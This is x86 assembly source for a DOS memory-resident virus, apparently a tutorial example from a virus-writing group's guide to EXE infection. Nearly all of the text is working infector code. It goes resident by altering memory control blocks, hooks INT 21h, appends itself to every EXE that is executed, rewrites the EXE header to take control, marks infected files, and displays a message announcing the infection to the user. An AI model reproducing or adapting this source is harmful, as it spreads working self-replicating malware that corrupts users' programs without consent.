.286
virus segment
  assume cs:virus, ds:virus, es:virus
 
 jumps
 org 0CBh
 
start:
 
  call delta                        ;Calculate delta offset
delta:
  pop bp
  sub bp,offset delta
 
  push ds                           ;save PSP address
 
  push cs cs
  pop ds es
 
  mov ax,0CBCBh                     ;our "Codebreaker" residency check
  int 21h                           ;>what is CB?
  cmp bx,0C001h                     ;>C001!! :o)
  je restore                        ;its already resident
 
  pop ds                            
  push ds                           ;PSP address back into DS
  ;--------------------------------------------------
  mov ax,ds                                 ;MCB residency
  dec ax                                    ;For further clarification
  mov ds,ax                                 ;read Codebreaker Tutorial 3
 
  sub word ptr ds:[3],40h
  sub word ptr ds:[12h],40h
 
  xor ax,ax
  mov ds,ax
 
  dec word ptr ds:[413h]
 
  mov ax,word ptr ds:[413h]
  shl ax,6
 
  mov es,ax
 
  push cs
  pop ds
 
  lea si,[bp+start]
  xor di,di
  mov cx,the_end - start
  rep movsb
  ;--------------------------------------------------
  xor ax,ax                                 ;Setting of interrupts
  mov ds,ax                                 ;For further clarification
                                            ;read Codebreaker Tutorial 3
  mov ax,es                                 
  mov bx,new_int21h-start
  cli
  xchg bx,word ptr ds:[21h*4]
  xchg ax,word ptr ds:[21h*4+2]
  mov word ptr es:[old_int21h-start],bx
  mov word ptr es:[old_int21h+2-start],ax
  sti
  ;--------------------------------------------------
  push cs cs
  pop ds es
 
  mov ah,9                                  ;Warns the poor shmuck
  lea dx,[bp+message]
  int 21h
 
restore:                                    ;Control handed back
 
  lea si,[bp+old_ip]                        ;Restore orig IP
  lea di,[bp+original_ip]
  mov cx,4
  rep movsw
 
; Now for a clarification of the next four lines. At the beginning of
; the virus DS contains the address of the PSP. We now restore the
; address from the stack, place the address in ES.  Then add 10h to
; skip over the PSP.  Skip over the PSP(100h) with 10h? Sounds a little
; fishy, right?  Well, remember that when you add 10h to AX, you are
; adding 10h segments. Each segment is 10h bytes, so 10h*10h=100h (PSP)
 
  pop ds
  mov ax,ds
  mov es,ax
  add ax,10h
 
  add word ptr cs:[bp+original_cs],ax       ;Orig CS
  cli
  add ax,word ptr cs:[bp+original_ss]       ;Orig SS
  mov ss,ax
  mov sp,word ptr cs:[bp+original_sp]       ;Orig SP
  sti
 
 db 0eah                                    ;jump to to it
 original_ip dw ?                           ;
 original_cs dw ?
 original_ss dw ?
 original_sp dw ?
 
 
 new_int21h:                                ;our int 21h handler
  pushf                                     ;push the flags
  cmp ax,0CBCBh                             ;residency check
  jne no_install_check
  mov bx,0C001h                             ;already resident
  popf                                      ;restore all flags
  iret                                      ;return
 no_install_check:
  cmp ah,4bh                                ;check if execute
  je infect
 return:
  popf                                      ;restore all flags
 db 0eah                                    ;jmp to orig int 21h
 old_int21h dd ?
 
 infect:
  pusha                                     ;only 286, saves all gen reg
  push ds
  push es
 
  call tsr_delta
 tsr_delta:
  pop bp                                    ;a tsr delta offset %-)
  sub bp,offset tsr_delta
 
  mov ax,3d02h                              ;open file in DS:DX
  int 21h
  jc exit
 
  xchg ax,bx                                ;file handle to bx
 
  push cs cs
  pop ds es
 
  mov ah,3fh                                ;Read the target header
  lea dx,[bp+header]                        ;into our buffer
 
  mov cx,1ch
  int 21h
 
  cmp word ptr cs:[bp+header],'ZM'          ;check if its an EXE
  je ok
  cmp word ptr cs:[bp+header],'MZ'
  je ok
  jmp close
 
 ok:
  cmp word ptr cs:[bp+header+12h],'BC'      ;Checksum value checked for
  je close                                  ;previous infection
 
  mov word ptr cs:[bp+header+12h],'BC'      ;Mark it as infected
 
  mov ax,word ptr cs:[bp+header+14h]        ;Save orig ExeIP
  mov word ptr cs:[bp+old_ip],ax            ;Store in our buffer
  mov ax,word ptr cs:[bp+header+16h]        ;Save orig ReloCS
  mov word ptr cs:[bp+old_cs],ax            
  mov ax,word ptr cs:[bp+header+0eh]        ;Save orig ReloSS
  mov word ptr cs:[bp+old_ss],ax
  mov ax,word ptr cs:[bp+header+10h]        ;Save orig ExeSP
  mov word ptr cs:[bp+old_sp],ax
 
  mov ax,4202h                              ;Set pointer to end of file
  xor cx,cx
  xor dx,dx
  int 21h
 
  push ax dx                                ;Save EOF results
 
                                            ;Calculate new CS:IP, we set
                                            ;it to the EOF (this is where
                                            ;we will attach our virus)
 
  mov cx,16                                 ;Convert filesize into 16 byte
  div cx                                    ;paragraphs
 
  sub ax,word ptr cs:[bp+header+8]          ;Substract Header size from
                                            ;filesize to get the image
                                            ;(code/data) size.
 
                                            ;save:
  mov word ptr cs:[bp+header+14h],dx        ;New ExeIP
  mov word ptr cs:[bp+header+16h],ax        ;New ReloCS
 
  pop dx ax                                 ;restore saved filesize
 
  add ax,the_end - start                    ;Add virus size to file size
  adc dx,0                                  ;Adds carry to DX
 
  mov cx,512                                ;Calculate amount of pages
  div cx
 
  cmp dx,0
  je no_remainder
  inc ax                                    ;if remainder, add 1
 no_remainder:
 
  mov word ptr cs:[bp+header+4],ax          ;New PageCnt
  mov word ptr cs:[bp+header+2],dx          ;New PartPag
 
  mov ah,40h                                ;write the virus to the EOF
  lea dx,[bp+start]
  mov cx,the_end - start
  int 21h
 
  mov ax,4200h                              ;Send pointer to beginning
  xor cx,cx
  xor dx,dx
  int 21h
 
  mov ah,40h                                ;Write the new header
  lea dx,[bp+header]
  mov cx,1ch
  int 21h
 
mov al,7
int 29h                                     ; just a BEEEEEPPP
 
 close:
  mov ah,3eh                                ;close file
  int 21h
 
 exit:
  pop es
  pop ds
  popa
  jmp return
 
 
 old_ip dw offset exit_prog
 old_cs dw 0
 old_ss dw 0
 old_sp dw 0fffeh
 
 header db 1ch dup(?)                       ;Buffer for header
 
 message db 10,13,10,13
 db '- SPo0ky''s EXAMPLE TSR EXE infector for Horny Toad''s ''Guide To EXE Infection'' -',10,13
 db '- has been installed in your computers memory and will from now on infect any -',10,13
 db '- EXE file that you execute.                                                  -',10,13
 db '- You can use TBCLEAN (www.thunderbyte.com) to clean this virus.              -',10,13,10,13
 db '                           - www.codebreakers.org -',10,13,'$'
 
 the_end:
 
 exit_prog:
  mov ax,4c00h                              ;Request terminate program
  int 21h
 
virus ends
end start
